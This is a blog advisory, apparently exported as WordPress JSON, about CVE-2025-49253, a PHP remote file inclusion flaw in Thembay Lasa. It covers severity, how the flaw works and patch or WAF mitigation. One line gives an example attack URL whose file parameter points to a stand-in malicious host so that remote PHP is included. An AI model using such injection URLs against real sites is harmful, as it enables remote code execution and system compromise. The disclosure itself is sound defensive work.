{"id":55891,"date":"2025-06-29T03:27:44","date_gmt":"2025-06-29T03:27:44","guid":{"rendered":""},"modified":"2025-08-31T18:38:18","modified_gmt":"2025-09-01T00:38:18","slug":"cve-2025-49253-high-severity-php-remote-file-inclusion-vulnerability-in-thembay-lasa","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49253-high-severity-php-remote-file-inclusion-vulnerability-in-thembay-lasa\/","title":{"rendered":"CVE-2025-49253: High Severity PHP Remote File Inclusion Vulnerability in Thembay Lasa<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

In the rapidly evolving world of cybersecurity, vulnerabilities are discovered and patched regularly. One such vulnerability has recently come to light that affects users of Thembay’s Lasa PHP program. The vulnerability, identified as CVE-2025-49253, concerns an improper control of the filename for include\/require statement, which can lead to a PHP Remote File Inclusion<\/a> (RFI). This vulnerability is especially critical<\/a> as it could potentially lead to a system compromise or data leakage if exploited by malicious actors.
\nThe severity of this vulnerability<\/a> is significant, evidenced by its CVSS score of 8.1. Therefore, it is essential for all users and administrators of Thembay Lasa to understand the details of this vulnerability and take immediate steps to mitigate its potential<\/a> impact.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-49253
\nSeverity: High, CVSS Score 8.1
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: Required
\nImpact: System compromise<\/a>, data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Thembay Lasa | Up to 1.1<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit works by manipulating the PHP include or require statements in Thembay<\/a> Lasa. In a standard operating environment, these statements are used to include a file as if it were a part of the original script. However, if the filename is improperly controlled, it could lead to a PHP Remote File Inclusion vulnerability<\/a>.
\nIn this case, an attacker could remotely inject a file<\/a> hosted on a different server, resulting in the execution of arbitrary PHP code. This code execution<\/a> happens in the context of the application, potentially leading to a full system compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of how this vulnerability might be exploited:<\/p>\n

<\/code><\/pre>\n
In this example, an attacker could provide a URL like `www.vulnerablewebsite.com\/page.php?file=http:\/\/maliciouswebsite.com\/maliciouscode` to execute their malicious PHP code<\/a> on the server.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
Users and administrators of Thembay Lasa are advised to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can detect and prevent attempts to exploit this vulnerability<\/a>, reducing the potential risk of a successful attack.
\nRemember, in the world of cybersecurity, awareness and prompt action are the best defenses against potential threats<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview In the rapidly evolving world of cybersecurity, vulnerabilities are discovered and patched regularly. One such vulnerability has recently come to light that affects users of Thembay’s Lasa PHP program. The vulnerability, identified as CVE-2025-49253, concerns an improper control of the filename for include\/require statement, which can lead to a PHP Remote File Inclusion (RFI). […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55891","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t